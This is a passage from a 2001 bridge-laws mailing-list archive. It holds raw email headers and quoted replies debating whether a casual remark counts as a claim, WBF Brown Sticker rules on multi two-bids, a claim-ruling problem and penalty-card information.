should not blindside players. The real violation (if any) seems to be one of humourous conduct...and perhaps we don't want to say $&^#$%$# em if they can't take a joke. I could easily live with this NOT being a claim...if the law read differently...so long as we punished any nefarious jokester who was seeking to disconcert his opponents into defensive error. As you have cogently pointed out, there are ample other means with which to do this. Craig ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, January 23, 2001 11:04 PM Subject: Re: [BLML] Claim? > Craig Senior writes > >We have an equivalent to your little league game...the novice > >game. We sometimes do ease enforcement, and always explain > >carefully any penalties. But when the novices have learned > >enough to play with the big boys we don't coddle them anymore. > >If Sammy Sosa's manager helps him get up to run to first base > >that is indeed a different kettle of fish as you admit. (This is > >based ob the theory that all rulings go against Cubs :))) > > > >Your assertion that 99.99999999 (or however many decimals) > >percent think that "Oops, we underbid, we're making game" and > >its slam equivalent is not a claim is highly questionable. I > >think David Burn, Grattan, I and several others disagree. I > >doubt you have 50% of this list with you. Why do you assume that > >we are not a fair sample of bridge players? Surely you do not > >believe that only the ignorant and uncaring believe as you do. > >:-)) When the rulebook says 2+2=4, there will not be too many > >who will insist the answer should be 5 because 4 isn't "fair". > >What is fair is what the Laws say is fair. > > I think we have not got sufficient evidence to have any clue what 50% > of this list think. Remember how many people are posting to this > thread. > > We have reached a position where one side says the wording is clear so > it is a claim, and one side says that the ramifications cannot have been > meant to be so terrible, and if everyone knows it is not a claim thne it > cannot be a claim. I really do not think we can say how many people > support which position. > > >If you despise this law, then by all means work to change it. > >That is your right and probably your obligation. But please do > >not strain at gnats to deny that it says what it says, > >especially with the information we have about its provenance and > >the intent of its framers. > > > >I disagree that it should be changed. Casual conversation of > >this sort needs to be discouraged in all but social games. In a > >social game, no one will ever call the director in the first > >place (if there even is one). The law as written is appropriate > >for tournament bridge, should stand, and should be enforced. > > Now hold it a moment: if you want to discourage casual chat, then > discourage casual chat - but not by ambush. There are perfectly > adequate Laws anyway. If you believe casual chat upsets people [I > don't, but assume it does, as a premise] then we have L74A. > > We are not talking of discouraging casual chat: we are talking of a > remark made by mistake, by involuntary ejaculation *or* by casual chat > being treated as a claim when it was known not to be intended as such. > It is a different matter. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 08:16:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OLEsN23074 for bridge-laws-outgoing; Thu, 25 Jan 2001 08:14:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OLEkt23070 for ; Thu, 25 Jan 2001 08:14:47 +1100 (EST) Received: from james (user-2ive453.dialup.mindspring.com [165.247.16.163]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id QAA18508; Wed, 24 Jan 2001 16:14:41 -0500 (EST) Message-ID: <004301c0864a$a99a56a0$a310f7a5@james> From: "Craig Senior" To: , "Grant Sterling" References: <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <3.0.6.32.20010123170727.007b2420@ux1.cts.eiu.edu> Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? Date: Wed, 24 Jan 2001 16:14:35 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Certainly not universally. Many consider him to have been, although too peppery for his own good, a fine dynamic manager who got the very most out of his players. But then you believe that 99.9999999% of everyone agrees with each of your opinions, don't you. :-)) By the way, I never agreed with the statement quoted...that was part of the darker side of a man who had many substantial merits. Craig Apologies to those across the pond...I know these baseball items really aren't cricket. But we Yanks have to have our innings now and then. :-))) ----- Original Message ----- From: "Grant Sterling" To: Sent: Tuesday, January 23, 2001 6:07 PM Subject: OT Baseball quotes, was Re: [BLML] Claim? > At 04:11 PM 1/23/2001 -0500, Ron Johnson wrote: > >Grant Sterling writes: > > > >(snip much stuff that I totally agree with ) > >> > >> Just as practicing your swing to get better at baseball is regarded > >> as perfectly normal and appropriate, while studying the rulebook to > >> find technicalities to enforce against your opponents would be > >> regarded as unsporting, > > > >Not everyone agrees with you here. Earl Weaver is quite clear that > >he spent hours combing the rulebook in an effort to find > >technicalities that he could use to advantage. > > From "Earl Weaver did x" we may not validly deduce "X is not > regarded as unsporting". :) > > >In general this isn't treated as unsporting above a certain level. > > > >Baseball is after all the game which gave us the quote > > > >"Nice guys finish last." > > Yes. Only that quote was from a manager that is almost universally > regarded as a colossal jerk. Q.e.d. :) > > >RNJ > > -Grant > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 09:20:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OMHjt24089 for bridge-laws-outgoing; Thu, 25 Jan 2001 09:17:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OMHbt24067 for ; Thu, 25 Jan 2001 09:17:38 +1100 (EST) Received: from james (user-2ive453.dialup.mindspring.com [165.247.16.163]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA15339; Wed, 24 Jan 2001 17:17:28 -0500 (EST) Message-ID: <007d01c08653$6e6b30a0$a310f7a5@james> From: "Craig Senior" To: "Bridge Laws Discussion List" , "Eric Landau" References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 17:17:14 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk If everyone within earshot interpreted it not to mean a claim then there is not a problem. But if his opponents interpret it as a claim, the law is on their side, and he has just stepped in a poodle. Craig ----- Original Message ----- From: "Eric Landau" To: "Bridge Laws Discussion List" Sent: Wednesday, January 24, 2001 8:26 AM Subject: Re: [BLML] Claim? > At 08:43 PM 1/22/01, David wrote: > > >Suppose that someone who knew nothing about > >bridge, but understood English, were confronted with this question: > > > >The Laws say that a statement to the effect that a player's side will > >win a certain number of tricks is a claim. A player has just stated that > >his side will win twelve tricks. Has this player made a claim? > > > >and suppose this person learned that apparently, a group of people who > >have as a special interest the Laws of bridge were unable to reach a > >consensus on this point. Would he not be justified in concluding that > >this group of people must consist, at least in part, of lunatics? > > If I were to tell that same hypothetical person that it was "raining > cats and dogs" outside, would he not be justified in seeking to have me > remanded to a mental institution? > > The point at issue seems to be: If someone says something which, taken > literally, means A, but he intended it to mean B, and everyone within > earshot understood it to mean B, which does it mean, A or B? > > > Eric Landau elandau@cais.com > APL Solutions, Inc. elandau@acm.org > 1107 Dale Drive (301) 589-4621 > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 09:25:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OMOAD24521 for bridge-laws-outgoing; Thu, 25 Jan 2001 09:24:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OMO3t24514 for ; Thu, 25 Jan 2001 09:24:04 +1100 (EST) Received: from james (user-2ive453.dialup.mindspring.com [165.247.16.163]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA21103; Wed, 24 Jan 2001 17:23:58 -0500 (EST) Message-ID: <008701c08654$570e6570$a310f7a5@james> From: "Craig Senior" To: , "Grant Sterling" References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <3.0.6.32.20010124111435.007b91c0@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 17:23:54 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk You continue to come up with entertaining scenarios that fail to make your point. It is clear that in the coffee case you are saying you do not care what the law is, you know better. This is unacceptable. That a law is unfair and silly does not mean a director should not enforce it. I will grant a 25b adjustment for example. The wording of the law is very clear here. If you, DWS, and others find it distasteful, then you need to turn to Grattan, Ton, Kojak et al for redress. You are not justified in simply ignoring it or twisting the plain meaning to your liking. To do such qualifies you for little (except perhaps the ACBL laws committee.) Craig ----- Original Message ----- From: "Grant Sterling" To: Sent: Wednesday, January 24, 2001 12:14 PM Subject: Re: [BLML] Claim? > At 07:05 AM 1/24/2001 -0600, Nelson/Kay Ford wrote: > >----- Original Message ----- > >From: "Kevin Perkins" > >To: > >Sent: Tuesday, January 23, 2001 9:31 PM > >Subject: Re: [BLML] Claim? > > > > > >> I polled the bridge players in my area for one week. After 97 people, > >> including 3 directors, none of the people questioned believed the remarks in > >> question were a claim. > > > >So does widespread ignorance of a Law mean that it > >does not have to be inforced? > > Yes. If the ignorance is not culpable. [I.e., if no normal bridge > player could reasonably be expected to have known that result.] > > [And, in any case, this was in response to those who questioned > whether I was right in thinking that 99% of people would not regard > DWS's remark as a claim.] > > >I had never looked at a rule book until a local director made > >4 wrong rulings against me in one session. After I started > >studying the rules, I discovered many nuances (some not > >at all subtle) about which I was unaware. > > > >One of these is that a player does not necessarily have > >to play a minor penalty card at the first opportunity. > >I polled about a half-dozen directors here in two clubs and > >NONE of them were aware of this part of the rule. > > > >Few (if any) players around here are even aware there *is* > >such a thing as a "minor" penalty card (except the players > >I have told when ruling at their table). > > > >Do you suggest I quit enforcing this rule (and other little-known > >rules) as well? > > No. Because those rule govern the adjudication of an irregularity > that has already occurred, and one which the players _do_ known about. > The average bridge player has ample opportunity to learn that, > for example, it is illegal to, e.g., play two cards to the same trick. > So Joe Average plays two cards to the same trick, and someone calls the > TD. Joe knows that he has broken the rules, and he knows there's some > penalty or other. The TD's job is to apply the proper penalty, and > explain the relevant rules as best he can so that the penalty is understood. > The fact that the player couldn't have told you the consequences before the > TD came is irrelevant. He knows he broke a rule. > But if a law _creates_ a penalty for Joe that he could not reasonably > have known about in the first place, then that is IMHO a totally different > matter. For example, imagine that the lawmakers decide to take a stand > against drug abuse, and so they modify the footnote to L40E2 so that it > makes the taking of a drug that may increase memory or calculation a > violation of law. This minor change is publicized in the usual way, at > least here in the ACBL--i.e., not at all. No-one knows about it, > except the clever BL who has seen articles showing the caffeine increases > alertness. On his next impending '0' board, he calls the TD demanding > an adjustment because his opponent took a drink of coffee during the > hand. I would never rule in his favor, even if the law _had_ been > written in such a way that the drinking of coffee was technically > illegal. I would not rule against him even if I was told that some > non-coffee-drinking law-writers had intended this consequence, because > they thought that coffee-drinking wasn't appropriate in a serious game > like bridge. If I have to invoke sophistry, offer alternative less-literal > interpretations of the law, or spill coffee on the new lawbook and > declare it unreadable and rule under the old laws, I will do so. > In other words, I think there is a huge difference between the > laws that state the consequences for an infraction or define the > proceedures for adjudicating an infraction, and the laws that say what > actions _count_ as infractions and define the basic rules for how > players play the game. Laws of the latter type must be publicized so > that normal players [defined relatively to context] can reasonably be > expected to know them before they should be enforced. This is even more > true when we are discussing an unexpected consequence of a law required > by new wording or new interpretation of rules governing familiar > proceedures. > If the coffee law becomes publicized so that the average player has a > reasonable chance of being aware that coffee-drinking has become illegal, > or I am ordered to accept the anti-coffee interpretation by the ACBL, or > the lawmakers re-write the laws so that it says "And, yes, we do mean to be > banning coffee you stupid idiot in Illinois", then I will enforce the law as > required, while deploring what it will do to the game of bridge. But not > until then. > And I don't even drink coffee. > > >Nelson Ford > > Respectfully, > Grant Sterling > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 09:29:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OMRsr25414 for bridge-laws-outgoing; Thu, 25 Jan 2001 09:27:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OMRjt25371 for ; Thu, 25 Jan 2001 09:27:46 +1100 (EST) Received: from james (user-2ive453.dialup.mindspring.com [165.247.16.163]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA11943; Wed, 24 Jan 2001 17:27:06 -0500 (EST) Message-ID: <009301c08654$c6d53410$a310f7a5@james> From: "Craig Senior" To: "Kevin Perkins" , References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <001701c08606$647fd980$0ec188d1@kay> <002901c0863e$f5b136a0$087fa218@austin.rr.com> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 17:27:02 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk And continue to do so. As I pointed out, a significant number of posters on this thread think that it is a claim. Not all agree that that is an ideal situation. Craig ----- Original Message ----- From: "Kevin Perkins" To: Sent: Wednesday, January 24, 2001 2:50 PM Subject: Re: [BLML] Claim? > I made no suggestions as to whether I agree that the remarks should be a > claim, or whether I feel that the laws say it is a claim. I just was > responding to the assertion that DWS made that 99.999+ people do not think > that this is a claim. Other people on the list disagreed with this. > > ----- Original Message ----- > From: "Nelson/Kay Ford" > To: "Kevin Perkins" ; > Sent: Wednesday, January 24, 2001 7:05 AM > Subject: Re: [BLML] Claim? > > > > ----- Original Message ----- > > From: "Kevin Perkins" > > To: > > Sent: Tuesday, January 23, 2001 9:31 PM > > Subject: Re: [BLML] Claim? > > > > > > > I polled the bridge players in my area for one week. After 97 people, > > > including 3 directors, none of the people questioned believed the > remarks in > > > question were a claim. > > > > So does widespread ignorance of a Law mean that it > > does not have to be inforced? > > > > I had never looked at a rule book until a local director made > > 4 wrong rulings against me in one session. After I started > > studying the rules, I discovered many nuances (some not > > at all subtle) about which I was unaware. > > > > One of these is that a player does not necessarily have > > to play a minor penalty card at the first opportunity. > > I polled about a half-dozen directors here in two clubs and > > NONE of them were aware of this part of the rule. > > > > Few (if any) players around here are even aware there *is* > > such a thing as a "minor" penalty card (except the players > > I have told when ruling at their table). > > > > Do you suggest I quit enforcing this rule (and other little-known > > rules) as well? > > > > Nelson Ford > > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 09:40:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OMcQD28736 for bridge-laws-outgoing; Thu, 25 Jan 2001 09:38:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OMcIt28693 for ; Thu, 25 Jan 2001 09:38:19 +1100 (EST) Received: from dodona (host62-6-76-192.dialup.lineone.co.uk [62.6.76.192]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id WAA19258; Wed, 24 Jan 2001 22:37:51 GMT Message-ID: <002401c08656$9714b500$c04c063e@dodona> From: "Grattan Endicott" To: "Peter Swensson" , References: <002b01c085ea$53f85900$bf1c40d5@oemcomputer> Subject: Re: [BLML] Fw: wbf brown sticker question Date: Wed, 24 Jan 2001 22:29:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: Peter Swensson To: Grattan Endicott ; Sent: Wednesday, January 24, 2001 9:44 AM Subject: SV: [BLML] Fw: wbf brown sticker question > >> +=+ This is a Brown Sticker convention and > >> may not be played in tournaments where > >> Brown Sticker (BS) conventions are prohibited. > >> Regarding the multi the WBF Systems Policy > >> says that what is not BS is an opening bid of > >> two in a minor suit that shows "a weak two in > >> either major, whether with or without the > >> option of strong hand types, as described in > >> the WBF Conventions Booklet". > >> ~ Grattan ~ +=+ > >> > > > I can't see the distiction ... if "a weak two" may > be on a five card suit, then ... > +=+ All conventional openings that may be weak and which do not have a known anchor suit are BS. The multi style weak two does not have an anchor suit but, as a concession, has been excluded from the general prohibition if played as described in the regulation (see above). ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 10:47:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ONjTD02117 for bridge-laws-outgoing; Thu, 25 Jan 2001 10:45:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from maile.telia.com (maile.telia.com [194.22.190.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ONjLt02113 for ; Thu, 25 Jan 2001 10:45:22 +1100 (EST) Received: from d1o993.telia.com (d1o993.telia.com [213.64.26.241]) by maile.telia.com (8.9.3/8.9.3) with ESMTP id AAA19628; Thu, 25 Jan 2001 00:45:15 +0100 (CET) Received: from oemcomputer (t2o993p81.telia.com [213.64.26.201]) by d1o993.telia.com (8.8.8/8.8.8) with SMTP id AAA24198; Thu, 25 Jan 2001 00:45:14 +0100 (CET) Message-ID: <010701c0865f$c95e7600$bf1c40d5@oemcomputer> From: "Peter Swensson" To: , "alain gottcheiner" Subject: SV: SV: [BLML] Fw: wbf brown sticker question Date: Thu, 25 Jan 2001 00:45:20 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0ONjOt02114 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >At 10:44 24/01/01 +0100, you wrote: >>I can't see the distiction ... if "a weak two" may be on a five card suit, >then ... >> >>please explain > >AG : 'weak 2-bid' is the name of a convention by which the opening of 2H or >2S shows a long suit -with specific quality and length requirements to be >precised-, in a hand below opening -strength to be precised- ; certain >patterns (such as holding Hxxx in the other major- may be conventionally >excluded. >Thus I might state on my CC 'weak 2, 8-11 HCP, good suit, occasional strong >5-carder, denies other biddable suit'. Or 'weak 2, loose, 6+ HCP, any >5-carder will do' (remember EAHA ?) > >If some other suit is always held, the convention ceases to be a 'weak >two', and becomes eg a 'Roman 2H/S' (major + clubs), a 'Flannery 2H' (5H + >4S) or a 'weak + minor' (Dutch 2). > >As an exception to the BSC rules, you are allowed to play a Multi 2 >Diamonds, ie an opening 2D which shows either the equivalent of a weak 2 >bid in H or a weak 2 bid in spades, or one or more strong types. >You are not allowed to play an opening 2D (or whatever) that shows either >the equivalent of a Roman 2-bid, or strong types. Same holds for 55 >conventions. > >The important thing is that 'weak 2' doesn't only mean 'weak hand and long >suit', it also means that partner will at first only know you hold that one >suit you bid and act accordingly. Nothing bars you from having a strong >response to ask for side suits. But the message of a 'weak 2' is restricted >to one suit. > >However, you are allowed to use a 2D opening which shows any *strong* 55 >hand (more than a minimum opening ; such strength-showing bids are never >considered BSCs. > > A. I´ve heard it before, but it is illogical in my ears. Why defend one specialcase of multibids (=exclude it from the BSC-family where it belongs)? The convention 'Weak 2' has local meanings, for instans it is uncommon (at least around here) that a 'weak 2' contains a Hxx(x) suit in other major and few player would dream of opening 'weak 2' with a 5332 distribution. This means that ' weak 2:s' promise 9 cards in major and and a minor regardless of the length in major, 5 or 6. The differences between the 'two bids' you describe above are small; I can't see why anyone would like to get problem if they use the same defence method agains them. If someone belive that they need a weak 10 card distribution for the 2-level let them contiune with that. Remember that the unusal weak twobids often are even more informative than the traditional ones. Why don't we use the definition of 'weak 2 in a major': -"I have a 5-card major and belive that the 2-level is sufficient, partner"? This kind of politics doesn't belong in a mind sport. Peter Swensson > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 10:58:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ONuUC02130 for bridge-laws-outgoing; Thu, 25 Jan 2001 10:56:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0ONuLt02126 for ; Thu, 25 Jan 2001 10:56:21 +1100 (EST) Received: by falhost.fujitsu.com.au; id KAA10296; Thu, 25 Jan 2001 10:56:11 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma010017; Thu, 25 Jan 01 10:55:46 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0ONtkb04873 Received: from doctech (doctech.fujitsu.com.au [137.172.72.22]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with SMTP id f0ONtk904867 for ; Thu, 25 Jan 2001 10:55:46 +1100 Received: from SERCDEMOnote ([137.172.15.125]) by doctech (4.1/SMI-4.1-MHS-7.0) id AA05033; Thu, 25 Jan 01 10:41:14 EST Message-Id: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> From: "Peter Newman" To: References: Subject: [BLML] Consistent Claim Adjudication Date: Thu, 25 Jan 2001 10:59:00 +1100 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi All, Perhaps this is obvious....but if we can't agree whether "Making 12 tricks" is a claim or not...;-) [FWIW - put me down in the 'if the director is actually called in this situation then it would be a claim' camp but hopefully if not intended as a claim that everyone gets on with it (with L73 to handle the misleading case)] On to more important matters - I really believe that claims should be adjudicated in a manner so that players (like me) can expect consistency in rulings.... Last Sunday I was playing in an event with the following 6 card ending... T5 -- -- Q654 87 64 87 A5 95 -- -- 87 KJ3 KJ6 -- -- At this point declarer claims the rest (not realising that the clubs weren't running) by (as players do) putting all the clubs on the table and saying something along the line of "...and the spades at the end." As a player: If you were declarer how many tricks do you think you are entitled to? What about if you were defender? As a director: How do you rule? Best Regards, Peter Newman http://www.nswba.com.au -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 11:24:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P0MlF02152 for bridge-laws-outgoing; Thu, 25 Jan 2001 11:22:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P0Met02148 for ; Thu, 25 Jan 2001 11:22:41 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id QAA14210; Wed, 24 Jan 2001 16:20:27 -0800 Message-Id: <200101250020.QAA14210@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] penalties AND UI - too much ? In-reply-to: Your message of "Mon, 22 Jan 2001 16:50:21 GMT." Date: Wed, 24 Jan 2001 16:20:25 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: > Unfortunately, the WBFLC disagrees with us. Their Lille minutes > (quoted from DWS' web page) say: > > 12: Information arising from possession of a Penalty Card. > Information that the player must play the penalty card as the law > requires is authorised and partner may choose the card to lead > from the suit on the basis of that knowledge (e.g. may lead small > from K Q J x when partner's penalty card is the Ace). Information > based on sight of partner's penalty card is unauthorised so that, > for example, the player may not choose to lead the suit if the > suit is suggested by the penalty card and play of a different suit > is a logical alternative. > > I confess that not only can I not reconcile this interpretation with > the words of the law, I am not sure what it means. It seems to be > saying that the sight of the penalty card is UI for choosing the suit > to lead but AI for choosing the card within the suit. I am mystified > because the choice of card and choice of suit are seldom independent > and sequential, as this interpretation seems to suggest. and Marvin French responded: > I guess I'm missing the point of all this. Doesn't it just say that > if there is an LA to leading the suit, you don't lead the suit, and > if there is no LA can lead any card of the suit? I think it *almost* says that. However, the "demonstrably 